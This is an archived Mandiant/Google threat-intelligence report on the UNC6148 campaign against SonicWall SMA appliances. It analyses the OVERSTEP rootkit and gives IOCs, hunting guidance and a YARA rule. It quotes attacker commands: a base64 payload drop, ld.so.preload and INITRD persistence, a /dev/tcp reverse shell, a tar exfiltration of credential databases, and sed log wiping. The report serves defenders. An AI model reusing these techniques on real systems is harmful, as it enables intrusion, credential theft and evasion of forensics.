Ongoing SonicWall Secure Mobile Access (SMA) Exploitation Campaign using the OVERSTEP Backdoor

By Mandiant, Google Threat Intelligence Group

Published: 2025-07-16 · Archived: 2026-04-05 16:34:02 UTC

Written by: Josh Goddard, Zander Work, Dimiter Andonov

UPDATE (Sep 16): Clarified hunting guidance specifics surrounding `ld.so.preload` files.

UPDATE (July 30): Added additional network IOC identified by Sonicwall as being associated with OVERSTEP.

Introduction

Google Threat Intelligence Group (GTIG) has identified an ongoing campaign by a suspected financially-motivated threat actor we track as UNC6148, targeting fully patched end-of-life SonicWall Secure Mobile Access (SMA) 100 series appliances. GTIG assesses with high confidence that UNC6148 is leveraging credentials and one-time password (OTP) seeds stolen during previous intrusions, allowing them to regain access even after organizations have applied security updates. Evidence for the initial infection vector was limited, as the actor's malware is designed to selectively remove log entries, hindering forensic investigation; however, it is likely this was through the exploitation of known vulnerabilities.

In this new wave of activity, the actor has deployed a previously unknown persistent backdoor/user-mode rootkit, which GTIG tracks as OVERSTEP. Based on findings from Mandiant Incident Response engagements, our analysis shows this malware modifies the appliance's boot process to maintain persistent access, steal sensitive credentials, and conceal its own components. GTIG assesses with moderate confidence that UNC6148 may have used an unknown zero-day remote code execution vulnerability to deploy OVERSTEP on opportunistically targeted SonicWall SMA appliances.

GTIG assesses with moderate confidence that UNC6148's operations, dating back to at least October 2024, may be to enable data theft and extortion operations, and possibly ransomware deployment. An organization targeted by UNC6148 in May 2025 was posted to the "World Leaks" data leak site (DLS) in June 2025, and UNC6148 activity overlaps with publicly reported SonicWall exploitation from late 2023 and early 2024 that has been publicly linked to the deployment of Abyss-branded ransomware (tracked by GTIG as VSOCIETY).

Given the risk of recompromise using previously stolen credentials, organizations should follow the recommendations within this post to hunt for potential compromises and rotate all credentials, even if their appliances are fully patched. This blog post provides technical details on the OVERSTEP rootkit and the UNC6148 campaign to aid defenders in mitigating this threat.

Initial SMA Exploitation to Gain Administrator Credentials

Mandiant's first observations of UNC6148 in a recent investigation showed that they already had local administrator credentials to the targeted SMA 100 series appliance, and neither forensic evidence nor other data was identified to show how those credentials were obtained. GTIG assesses with high confidence that UNC6148 exploited a known vulnerability to steal administrator credentials prior to the targeted SMA appliance being updated to the latest firmware version (`10.2.1.15-81sv`), based on the patching timeline and public reporting of SonicWall n-day exploitation activity throughout 2025. Analysis of network traffic metadata records suggests that UNC6148 may have initially exfiltrated these credentials from the SMA appliance as early as January 2025.

Public reporting from SonicWall and multiple security firms has highlighted several different vulnerabilities that could possibly have been exploited by UNC6148:

- CVE-2021-20038: Unauthenticated remote code execution (SonicWall advisory, Truesec report, AttackerKB entry)
    - This is a memory corruption vulnerability that can be executed to gain code execution; however, Rapid7's public exploit can make up to 200,000 HTTP requests and could take over an hour to execute, suggesting a widespread campaign may not take advantage of this vulnerability.
    - Truesec identified this as a plausible entrypoint for intrusion activity they observed in late 2023 targeting a SonicWall SMA.
- CVE-2024-38475: Unauthenticated path traversal vulnerability in Apache HTTP Server, which affected the SMA 100 series (SonicWall advisory, Orange CyberDefense/SCRT blog post)
    - This can be exploited on the SMA 100 series specifically to exfiltrate two different SQLite databases, `temp.db` and `persist.db` , which store sensitive information including user account credentials, session tokens, and OTP seed values.
    - watchTowr published a blog post in May 2025 describing how this vulnerability can be chained with another bug, CVE-2023-44221, to compromise an SMA 100 series appliance; however, we did not identify any evidence suggesting this bug chain was used by UNC6148.
- CVE-2021-20035: Authenticated remote code execution vulnerability (SonicWall advisory, ArcticWolf report)
    - This is a command injection vulnerability in the handler for `/cgi-bin/sitecustomization` POST requests.
    - Arctic Wolf and SonicWall reported on this vulnerability being exploited in the wild in April 2025.
- CVE-2021-20039: Authenticated remote code execution vulnerability (SonicWall advisory, dfir.ch blog post, AttackerKB entry)
    - This is a command injection vulnerability in the request handler for `/cgi-bin/viewcert` .

    - dfir.ch reported this vulnerability being used to exploit SonicWall SMAs in an intrusion that led to the deployment of Abyss-branded ransomware in March 2024, with similar intrusion artifacts to Mandiant's investigation.

- CVE-2025-32819: Authenticated file deletion vulnerability (SonicWall advisory, Rapid7 report)

    - Using a crafted HTTP request, this vulnerability can be exploited to cause a targeted SonicWall SMA to revert the built-in administrator credentials to `password`, granting the attacker administrator access.

There are several different paths UNC6148 could have taken with the aforementioned vulnerabilities, or possibly a different vulnerability not mentioned here. CVE-2024-38475 would have provided local administrator credentials and valid session tokens that UNC6148 could reuse, making it an attractive target, but Mandiant was not able to confirm abuse of that vulnerability. Exploitation of the previously mentioned authenticated bugs would require UNC6148 to already have some level of credentials to the SMA appliance, making them less likely to have been abused, but still worth mentioning due to their in-the-wild exploited status. It is also possible that credentials could have been obtained through infostealer logs or credential marketplaces, but GTIG was unable to identify any direct credential exposure related to the abused SMA appliance credentials.

Subsequent SMA Compromise and OVERSTEP Deployment

Mandiant's aforementioned investigation showed that in June 2025, UNC6148 established a Secure Sockets Layer virtual private network (SSL VPN) session on the targeted SMA 100 series appliance using the mentioned local administrator credentials from a BitLaunch (BLNWX) VPS (193.149.180.50).

Once the SSL VPN session was established, the attacker spawned a reverse shell on the targeted SMA appliance. Shell access should not be possible by design on these appliances, and Mandiant's joint investigation with the SonicWall Product Security Incident Response Team (PSIRT) did not identify how UNC6148 established this reverse shell. It's possible the reverse shell was established via exploitation of an unknown vulnerability by UNC6148.

Through the reverse shell, UNC6148 performed initial reconnaissance and file manipulation using a variety of built-in system binaries such as `cat`, `chmod`, `cp`, `date`, `hostname`, `mkdir`, `mount`, `mv`, and `rm`. Mandiant also observed the actor export and import settings to the SMA appliance, along with new network access control policy rules created for IP addresses used by UNC6148, suggesting they may have modified an exported settings file offline to include new rules for their infrastructure to ensure uninterrupted operations.

Following this initial activity, the attacker deployed the OVERSTEP backdoor. This process involved executing a series of commands to decode the binary from Base64 into the persistent `/cf` directory with the filename `xxx.elf`, moving it to `/usr/lib/libsamba-errors.so.6`, and ensuring persistence by adding its path to `/etc/ld.so.preload`.

```
 cd /cf; touch xxx.elf;
openssl enc -base64 -d [REDACTED] >>xxx.elf;
chmod 777 /usr/lib/libsamba-errors.so.6;
```

```
touch -c /usr/lib/libsamba-errors.so.6 -r
echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload;
chown root:root /usr/lib/libsamba-errors.so.6;
chmod 777 /usr/lib/libsamba-errors.so.6;
touch -c /usr/lib/libsamba-errors.so.6 -r
echo /usr/lib/libsamba-errors.so.6 > /etc/ld.so.preload;
arp
```

Figure 1: Selection of attacker shell commands executed on the appliance

Next, UNC6148 modified the legitimate RC file `/etc/rc.d/rc.fwboot` to achieve persistence for OVERSTEP. The changes meant that whenever the appliance was rebooted, the OVERSTEP binary would be loaded into the running filesystem on the appliance. Specifically, the `bootCurrentFirmware` function in the `rc.fwboot` script was modified to include code that performed the following:

- Created a temporary directory named `zzz` within the present firmware directory. This directory served as a staging area to unpack, modify, and repack the `INITRD` image. It was a preparatory step for injecting malicious content without directly overwriting critical system files during runtime.
- Decompressed the `INITRD.GZ` file, which was the compressed initial RAM disk image. The decompressed file was named `INITRD`, which contains the minimal root filesystem that is loaded into memory during the boot process before the actual root filesystem is mounted. Modifying this image allowed the attacker to inject malicious files that will be present and executable early in the boot sequence, making it difficult to detect and remove.
- Mounted the decompressed `INITRD` file as a loop device to the newly created `$fwLoc/zzz` directory. This made the contents of the `INITRD` file accessible and modifiable as if it were a regular filesystem. This was an important step that allowed the script to browse and modify the contents of the initial RAM disk.
- Copied the file `libsamba-errors.so.6` from `/cf/` into the mounted `INITRD` directory `/usr/lib/`.
- Changed the owner and group of the file `libsamba-errors.so.6` to `root:root`. This sets the permissions to mimic legitimate system libraries, which are typically owned by `root`.
- Changed the file permissions of the copied malicious library to 0777 (read, write, and execute for owner, group, and others).
- Employed a timestomping technique, attempting to copy the modification timestamp from the legitimate file `libsamba-errors.so` to the malicious file `libsamba-errors.so.6`. The goal was to make the malicious file appear as if it were part of the original system installation, thereby hindering detection and investigation.
- Wrote the path to the malicious file `/usr/lib/libsamba-errors.so.6` into the `ld.so.preload` file located within the `INITRD` directory `/etc/`. This causes dynamic executables to load the OVERSTEP shared object file, providing persistence and privileged execution in system processes.
- Cleaned up temporary modifications, including:

    - Flushing pending disk writes to ensure all changes to the `INITRD` file were saved
    - Unmounting the `INITRD` file from the temporary directory
    - Recompressing the modified `INITRD` file
    - Removing the temporary directory
- Renamed the newly compressed `INITRD` to `INITRD.GZ`, matching the expected filename.
- Changed the timestamps of the modified `INITRD.GZ` file to match those of the kernel image file, `BZIMAGE`. This was another timestomping operation to hinder detection and investigation.
- Loaded the kernel image `BZIMAGE` and the modified initial RAM disk, `INITRD.GZ`, into memory for a new kernel execution. It also appended kernel boot options from `LINUX.OPT`. This prepared the system to boot into the modified firmware. The use of `kexec` allowed the running Linux kernel to boot another Linux kernel without a full hardware reboot.
- Executed the newly loaded kernel by initiating a soft reboot.

In summary, the code took advantage of the system's boot process to inject a persistent rootkit. By modifying the `INITRD` file and leveraging `ld.so.preload`, the attacker ensured their malicious code would be loaded and executed every time any dynamic executable starts, providing them with privileged and persistence control of the appliance.

```
 function bootCurrentFirmware()
{
         echo "$FUNCNAME: begin" >> $LOGFILE
         fwLoc=/cf/firmware/current

         if [ ! -f $fwLoc/BZIMAGE ]; then
         echo "Can't locate the kernel image" >> $LOGFILE;
         elif [ -f $fwLoc/INITRD ]; then
         echo "Can't locate the filesystem image" >> $LOGFILE;
         else
         mkdir $fwLoc/zzz
         gzip -d $fwLoc/INITRD.GZ
         mount -o loop $fwLoc/INITRD $fwLoc/zzz

         cp /cf/libsamba-errors.so.6
$fwLoc/zzz/usr/lib/libsamba-errors.so.6
         chown root:root $fwLoc/zzz/usr/lib/libsamba-errors.so.6
         chmod 777 $fwLoc/zzz/usr/lib/libsamba-errors.so.6
         touch -c $fwLoc/zzz/usr/lib/libsamba-errors.so.6 -r
$fwLoc/zzz/usr/lib/libsamba-errors.so
         echo /usr/lib/libsamba-errors.so.6  > $fwLoc/zzz/etc/ld.so.preload
```

```
        sync; umount $fwLoc/zzz; sync; gzip $fwLoc/INITRD; rm -rf $fwLoc/zzz
        mv $fwLoc/INITRD.gz $fwLoc/INITRD.GZ; touch -c $fwLoc/INITRD.GZ -r
$fwLoc/BZIMAGE

        /usr/local/sbin/kexec -l $fwLoc/BZIMAGE --initrd=$fwLoc/INITRD.GZ
--append="`cat $fwLoc/LINUX.OPT`"
        /usr/local/sbin/kexec -e;
        fi

        echo "$FUNCNAME: end" >> $LOGFILE
}
```

Figure 2: Modified function in the rc.fwboot file to provide persistence for OVERSTEP

Once the deployment of OVERSTEP was complete, the threat actor cleared the system logs and rebooted the appliance to trigger the execution of OVERSTEP.

Analysis of OVERSTEP

OVERSTEP is a backdoor written in C, designed for SonicWall SMA 100 series appliances; observed samples have been compiled as a 32-bit ELF shared object for the Intel x86 architecture. This shared object is designed to be loaded into processes via the `/etc/ld.so.preload` file. When preloaded in this manner, the malicious library is mapped into the address space of subsequently launched processes. This preloading enables the malware to hijack standard library functions—specifically `open`, `open64`, `readdir`, `readdir64`, and `write`—by ensuring these symbols are resolved from the malicious shared object before the legitimate system libraries. The backdoor's primary functionalities are to establish a reverse shell and exfiltrate passwords from the compromised host. Additionally, the malware implements usermode rootkit capabilities by leveraging its hooked file system-related functions (`open`, `open64`, `readdir`, `readdir64`) to effectively hide its components on the host. Communications with the command-and-control (C2 or C&C) server are indirect, relying on parsing commands from buffers intercepted by the malicious `write` API.

The path to the malicious shared object was added to the `/etc/ld.so.preload` file, which effectively ensures the malware will persist on the compromised appliance. Due to its inclusion in the `/etc/ld.so.preload` file, the malware's shared object is mapped into every new process executed on the compromised system. Upon being mapped, the malware gains execution through its initialization routine, specifically via its exported `my_init` function. This `my_init` function then sets the `FS_IMMUTABLE_FL` flag on `/etc/ld.so.preload`, effectively preventing its modification, deletion, renaming, or the creation of links to it. This preloading mechanism enables the malware to perform `LD_PRELOAD` hijacking, interposing its own versions of the following standard library functions: `open`, `open64`, `readdir`, `readdir64`, and `write`. The hijacked `open*` and `readdir*` APIs are leveraged to implement a usermode rootkit, concealing the malware's presence and components. The core backdoor functionality, conversely, is implemented within the hooked `write` function. The rootkit and backdoor functionalities are described in greater detail in the subsequent sections.

Usermode Rootkit

The hijacked `open` and `open64` API functions, which typically specify a file path and access mode, are manipulated by the malware. The malware's implementation of these functions checks if the requested file path is `/etc/ld.so.preload`. If a match occurs, it returns an error code, thereby preventing any process on the compromised system from opening this critical file.

The hijacked `readdir` and `readdir64` API functions are used to conceal the following artifacts from directory listings:

- `/proc` entries related to `bash`, `sh`, or `ssh`
- `libsamba-errors.so.6` (the filename of the malware observed on this particular system)
- `/etc/ld.so.preload`

Backdoor

The backdoor's command execution mechanism is centered on its hijacked `write` API function. The standard `write` API receives a buffer containing data destined for an I/O stream. In this implementation, the malicious write function examines the first 1024 bytes of this buffer, searching for the command strings `dobackshell` or `dopasswords`. If either string is detected, the malware expects to find associated command parameters immediately following it.

- `dobackshell`
    - Starts a reverse shell using the command `bash -i >& /dev/tcp/<ip>/<port> 0>&1 &`.
    - Parameters: IP address and port.
- `dopasswords`
    - Creates a TAR archive with the provided <filename>, bundling sensitive files using the command in Figure 3. Notably, the TAR archive is saved in the web-accessible directory `/usr/src/EasyAccess/www/htdocs` with permissive `777` permissions. This allows an attacker to download the archive via a web browser.
    - Parameters: Filename of the TAR archive.

```
 tar czfP /usr/src/EasyAccess/www/htdocs/<filename>.tgz
/tmp/temp.db /etc/EasyAccess/var/conf/persist.db
/etc/EasyAccess/var/cert; chmod 777
/usr/src/EasyAccess/www/htdocs/<filename>.tgz
```

Figure 3: Shell commands executed by the `dopasswords` OVERSTEP command

Following the parsing and execution of a command, the malware attempts to remove corresponding entries from affected log files. This cleanup is performed using the `sed` command: `sed -i '/<cmd>/d' /var/log/<log_file>`, where `<cmd>` is either `dobackshell` or `dopasswords`. The targeted `<log_file>` can be

`httpd.log`, `http_request.log`, or `inotify.log`. This log cleaning process is only initiated if the malware can successfully elevate its privileges by setting its UID and GID to `0`.

Receiving Commands

The malware was designed to receive commands embedded within web requests. For instance, a legitimate `httpd` server might receive a URL (e.g., `https://<compromised_server>/query?q=dobackshell<params>`) containing the command and its parameters. The server would then attempt to log this request to files such as `httpd.log`, `http_request.log`, or `inotify.log`. At this juncture, because the malicious shared object is preloaded into the `httpd` process's address space, the call to `write` is intercepted. The malicious `write` function then parses the log data and dispatches any recognized command. While, technically, `write` operations from any process could be used to deliver commands, this web server log vector is likely the intended and most practical method from an attacker's perspective.

Risk and Post-Compromise Activities

In our investigations, GTIG observed beaconing traffic from compromised appliances, but we did not identify notable post-compromise activities. The actor's success in hiding their tracks is largely due to OVERSTEP's capability to selectively delete log entries from `httpd.log`, `http_request.log`, and `inotify.log`. This anti-forensic measure, combined with a lack of shell history on disk, significantly reduces visibility into the actor's secondary objectives.

The primary risk stems from OVERSTEP's functionality to steal sensitive files. Its ability to exfiltrate the `persist.db` database and certificate files from the `/etc/EasyAccess/var/cert` directory gives the attacker credentials, OTP seeds, and certificates. While we did not directly observe the weaponization of this stolen data, it creates a clear path for persistent access.

Impacted organizations should rotate all secrets stored on the appliances and follow the recommendations in this article.

Wider Context and Campaigns

This campaign extends beyond the incidents GTIG directly investigated. We have identified targeting of other SonicWall SMA appliances by UNC6148, including possible scanning activity dating back to at least October 2024. Our findings are also supported by SonicWall, which has confirmed reports of other impacted organizations and subsequently updated its advisory for CVE-2024-38475 to recommend OTP seed rotation.

While GTIG has not directly observed monetization or other end-stage goals associated with this campaign, analysis of historical network telemetry data revealed traffic involving an SMA 100 series appliance in May 2025 affiliated with an organization that later appeared on the "World Leaks" DLS in June 2025; however, we cannot rule out coincidental overlap at this time.

Additionally, UNC6148 activity has noteworthy overlaps with historical analysis from Truesec and dfir.ch, which involved the deployment of Abyss-branded ransomware. These overlaps, which suggest that UNC6148 is the same

actor or a related one, further indicate that these intrusions could ultimately lead to data extortion and ransomware deployment.

- The OVERSTEP backdoor and deployment mechanism observed by Mandiant appears to be a direct evolution of the `wafxSummary` tool reported by Truesec in late 2023.
- A dfir.ch blog post from early 2024 describes an intrusion where nearly a year went by between the deployment of the `wafxSummary` tool Truesec wrote about, and the deployment of Abyss-branded ransomware. This is consistent with the 6-month+ time gap between initial UNC6148 activity and the deployment of OVERSTEP in our recent investigation.

Recommendations

GTIG recommends that all organizations with SMA appliances perform analysis to determine if they have been compromised. Organizations should acquire disk images for forensic analysis to avoid interference from the rootkit anti-forensic capabilities. Organizations may need to engage with SonicWall to capture disk images from physical appliances.

Hunting and Detection

Defenders should analyze disk images and peripheral log sources for the following signs of compromise:

- **File System Artifacts**
  - Presence of any indicators of compromise (IOCs) listed in this report.
  - Unexpected binaries within the persistent `/cf` directory or within `INITRD` files, especially in the `/usr/lib` directory. In our investigations, GTIG observed OVERSTEP residing in these directories.
  - Presence of the file `/etc/ld.so.preload` on a disk image with greater than 2 bytes of contents. This file should not exist with actual contents on a standard SMA appliance, and the rootkit will hide it from a live system.
  - Malicious modifications to RC scripts, most notably the `/etc/rc.d/rc.fwboot` script.
  - Files with irregular timestamps within the `INITRD` image (`/cf/firmware/`).
- **Log and Network Analysis**
  - Web requests to the appliance containing `dobackshell` or `dopasswords` in the URL query.
  - Appliance event logs showing VPN sessions from external IP addresses (especially from low-reputation networks like BLNWX) using administrator accounts.
  - Outbound HTTP network traffic from the appliance to external IP addresses.

- Log entries for `Current settings exported`, `Current settings imported`, or `Clear all logs manually` occurring outside of scheduled maintenance windows.
- Irregular activity or threats within other log files from the appliances, including from inside the `FLASH.DAT` files (`current` and `backup`).
- Evidence of lateral movement, primarily over Secure Shell (SSH), from the SMA appliance to other systems in the environment.

Containment and Eradication

If evidence of compromise is detected, organizations should take immediate steps to contain the threat.

- Isolate the affected appliance from the network to prevent further malicious activity.
- Preserve disk images and telemetry for a full forensic investigation.
- Because the full extent of an actor's activity can be difficult to determine, GTIG recommends engaging Mandiant Incident Response for a thorough investigation to ensure complete scoping and eradication.

Hardening and Mitigation

To mitigate the immediate threat and harden appliances against future attacks, organizations should:

- Reset all credentials, including passwords and OTP bindings for all local and directory users on the appliance. This is the most critical step to invalidate secrets stolen in previous compromises.
- Revoke and reissue any certificates with private keys stored on the appliance.

Indicators of Compromise (IOCs)

Host-Based IOCs

Path(s)	SHA256 Hash	Description
/cf/xxx.elf/cf/libsamba-errors.so.6/usr/lib/libsamba-errors.so.6	b28d57269fe4cd90d1650bde5e9056116de26d211966262e59359d0e2a67d473	OVERSTEP
/etc/rc.d/rc.fwboot	f0e0db06ca665907770e2202957d3eccd5a070acac1debaf0889d0d48c10e149	Modified legitimate boot RC file

Network-Based IOCs

Indicator	Description
193.149.180.50	Source of VPN sessions where compromise occurred (used by UNC6148 between at least May 2025 and June 2025)
64.52.80.80	Reverse shell IP (used by UNC6148 between at least February 2025 and June 2025)
193.149.176.230	Identified by SonicWall as triggering the OVERSTEP backdoor in July 2025

Detections

YARA Rule

```
 rule G_Backdoor_OVERSTEP_1 {
        meta:
                author = "Google Threat Intelligence Group"
                date_created = "2025-06-03"
                date_modified = "2025-06-03"
                rev = 1
        strings:
                $s1 = "dobackshell"
                $s2 = "dopasswords"
                $s3 = "bash -i >& /dev/tcp/%s 0>&1 &"
                $s4 = "tar czfP /usr/src/EasyAccess/www/htdocs/%s.tgz
/tmp/temp.db /etc/EasyAccess/var/conf/persist.db
/etc/EasyAccess/var/cert; chmod 777"
                $s5 = "/etc/ld.so.preload"
                $s6 = "libsamba-errors.so.6"
        condition:
                uint32(0) == 0x464c457f and filesize < 2MB and 4 of them
}
```

Posted in

- Threat Intelligence

Source: https://cloud.google.com/blog/topics/threat-intelligence/sonicwall-secure-mobile-access-exploitation-overstep-backdoor/